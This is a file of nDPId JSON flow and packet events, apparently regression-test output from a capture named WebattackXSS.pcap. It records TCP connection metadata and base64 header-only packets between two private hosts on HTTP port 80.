+00432{"flow_id":169,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2459,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347262,"pkt_ts_usec":689407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MIdAAD4GlVGsEAABwKgKMtfiAFCgDzIr5j1EfYAQAOVDKgAAAQEICgE6CAMD49l5"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":6,"flow_first_seen":1499347188799,"flow_last_seen":1499347194667,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54538,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":6,"flow_first_seen":1499347188799,"flow_last_seen":1499347194667,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54538,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":6,"flow_first_seen":1499347190051,"flow_last_seen":1499347195667,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54552,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":6,"flow_first_seen":1499347190051,"flow_last_seen":1499347195667,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54552,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":6,"flow_first_seen":1499347191299,"flow_last_seen":1499347196667,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54566,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":6,"flow_first_seen":1499347191299,"flow_last_seen":1499347196667,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54566,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":6,"flow_first_seen":1499347192547,"flow_last_seen":1499347197669,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54580,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":6,"flow_first_seen":1499347192547,"flow_last_seen":1499347197669,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54580,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":6,"flow_first_seen":1499347195099,"flow_last_seen":1499347200670,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54606,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":6,"flow_first_seen":1499347195099,"flow_last_seen":1499347200670,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54606,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":7,"flow_first_seen":1499347196341,"flow_last_seen":1499347201670,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54620,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":7,"flow_first_seen":1499347196341,"flow_last_seen":1499347201670,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54620,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":6,"flow_first_seen":1499347197627,"flow_last_seen":1499347202671,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54634,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":6,"flow_first_seen":1499347197627,"flow_last_seen":1499347202671,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54634,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1499347263542,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55334,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":173,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2463,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347263,"pkt_ts_usec":542761,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VDNAAD4GcZ2sEAABwKgKMtgmAFA8SlzqAAAAAKACchDjRQAAAgQFtAQCCAoBOgjZAAAAAAEDAwc="} +00444{"flow_id":173,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2464,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347263,"pkt_ts_usec":542881,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2CaW4NetPEpc66AScSCXYwAAAgQFtAQCCAoD49pPAToI2QEDAwc="} +00432{"flow_id":173,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2465,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347263,"pkt_ts_usec":543453,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VDRAAD4GcaSsEAABwKgKMtgmAFA8SlzrluDXroAQAOU2awAAAQEICgE6CNkD49pP"} +00432{"flow_id":170,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2469,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347263,"pkt_ts_usec":688955,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07xxAAD4G1rusEAABwKgKMtfwAFBQ0e0Aq+DvsYARAOVpzwAAAQEICgE6CP0D49Vc"} +00433{"flow_id":170,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2470,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347263,"pkt_ts_usec":689147,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NcJAAEAGjhbAqAoyrBAAAQBQ1\/Cr4O+xUNHtAYARAONkuQAAAQEICgPj2nMBOgj9"} +00432{"flow_id":170,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2471,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347263,"pkt_ts_usec":689920,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07x1AAD4G1rqsEAABwKgKMtfwAFBQ0e0Bq+DvsoAQAOVktwAAAQEICgE6CP0D49pz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2476,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1499347264804,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55348,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":174,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2476,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347264,"pkt_ts_usec":804951,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NPtAAD4GkNWsEAABwKgKMtg0AFDy7j7vAAAAAKACchBJUwAAAgQFtAQCCAoBOgoUAAAAAAEDAwc="} +00444{"flow_id":174,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2477,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347264,"pkt_ts_usec":805065,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2DSLlcK98u4+8KAScSAccQAAAgQFtAQCCAoD49uKAToKFAEDAwc="} +00432{"flow_id":174,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2478,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347264,"pkt_ts_usec":805811,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NPxAAD4GkNysEAABwKgKMtg0AFDy7j7wi5XCvoAQAOW7eAAAAQEICgE6ChQD49uK"} +00432{"flow_id":171,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2481,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347265,"pkt_ts_usec":690417,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XmFAAD4GZ3esEAABwKgKMtf+AFDARlt5h4G9z4ARAOXe3wAAAQEICgE6CvED49ad"} +00433{"flow_id":171,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2482,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347265,"pkt_ts_usec":690626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YadAAEAGYjHAqAoyrBAAAQBQ1\/6Hgb3PwEZbeoARAOPZFQAAAQEICgPj3GgBOgrx"} +00432{"flow_id":171,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347265,"pkt_ts_usec":691364,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XmJAAD4GZ3asEAABwKgKMtf+AFDARlt6h4G90IAQAOXZEgAAAQEICgE6CvID49xo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2487,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1499347266097,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55362,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":175,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2487,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347266,"pkt_ts_usec":97966,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8FmFAAD4Gr2+sEAABwKgKMthCAFDvjR02AAAAAKACchBtHAAAAgQFtAQCCAoBOgtXAAAAAAEDAwc="} +00443{"flow_id":175,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2488,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347266,"pkt_ts_usec":98068,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2ELPgbsz740dN6AScSAClAAAAgQFtAQCCAoD49zOAToLVwEDAwc="} +00431{"flow_id":175,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2489,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347266,"pkt_ts_usec":98869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FmJAAD4Gr3asEAABwKgKMthCAFDvjR03z4G7NIAQAOWhmgAAAQEICgE6C1gD49zO"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2496,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1499347267376,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55376,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":176,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2496,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347267,"pkt_ts_usec":376627,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8e\/BAAD4GSeCsEAABwKgKMthQAFA8R3dnAAAAAKACchDE4wAAAgQFtAQCCAoBOgyXAAAAAAEDAwc="} +00444{"flow_id":176,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2497,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347267,"pkt_ts_usec":376724,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2FDz+hz2PEd3aKAScSDS4AAAAgQFtAQCCAoD494NAToMlwEDAwc="} +00434{"flow_id":176,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2498,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347267,"pkt_ts_usec":377465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e\/FAAD4GSeesEAABwKgKMthQAFA8R3do8\/oc94AQAOVx6AAAAQEICgE6DJcD494N"} +00432{"flow_id":172,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2502,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347267,"pkt_ts_usec":690847,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0idFAAD4GPAesEAABwKgKMtgYAFBS2I5RQf7aqIARAOU9mQAAAQEICgE6DOYD49kV"} +00433{"flow_id":172,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2503,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347267,"pkt_ts_usec":691060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BPRAAEAGvuTAqAoyrBAAAQBQ2BhB\/tqoUtiOUoARAOM4UwAAAQEICgPj3lwBOgzm"} +00432{"flow_id":172,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2504,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347267,"pkt_ts_usec":691805,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0idJAAD4GPAasEAABwKgKMtgYAFBS2I5SQf7aqYAQAOU4UQAAAQEICgE6DOYD495c"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2508,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1499347268659,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55390,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":177,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2508,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347268,"pkt_ts_usec":659064,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83S9AAD4G6KCsEAABwKgKMtheAFDSkdD3AAAAAKACchDTuQAAAgQFtAQCCAoBOg3YAAAAAAEDAwc="} +00444{"flow_id":177,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347268,"pkt_ts_usec":659189,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2F43lkso0pHQ+KAScSBuqAAAAgQFtAQCCAoD499OAToN2AEDAwc="} +00432{"flow_id":177,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347268,"pkt_ts_usec":659939,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03TBAAD4G6KesEAABwKgKMtheAFDSkdD4N5ZLKYAQAOUNsAAAAQEICgE6DdgD499O"} +00432{"flow_id":173,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2514,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347268,"pkt_ts_usec":691580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VDVAAD4GcaOsEAABwKgKMtgmAFA8SlzrluDXroARAOUxYwAAAQEICgE6DeAD49pP"} +00432{"flow_id":173,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2515,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347268,"pkt_ts_usec":691724,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CPhAAEAGuuDAqAoyrBAAAQBQ2CaW4NeuPEpc7IARAOMsXQAAAQEICgPj31YBOg3g"} +00432{"flow_id":173,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2516,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347268,"pkt_ts_usec":692451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VDZAAD4GcaKsEAABwKgKMtgmAFA8SlzsluDXr4AQAOUsWwAAAQEICgE6DeAD499W"} +00432{"flow_id":174,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2523,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347270,"pkt_ts_usec":692096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NP1AAD4GkNusEAABwKgKMtg0AFDy7j7wi5XCvoARAOW1twAAAQEICgE6D9QD49uK"} +00434{"flow_id":174,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2524,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347270,"pkt_ts_usec":692290,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0I\/RAAEAGn+TAqAoyrBAAAQBQ2DSLlcK+8u4+8YARAOOv+AAAAQEICgPj4UoBOg\/U"} +00432{"flow_id":174,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2525,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347270,"pkt_ts_usec":693067,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NP5AAD4GkNqsEAABwKgKMtg0AFDy7j7xi5XCv4AQAOWv9gAAAQEICgE6D9QD4+FK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2529,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1499347271162,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55416,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":178,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347271,"pkt_ts_usec":162915,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86ilAAD4G26asEAABwKgKMth4AFDbDvpjAAAAAKACchCfRAAAAgQFtAQCCAoBOhBKAAAAAAEDAwc="} 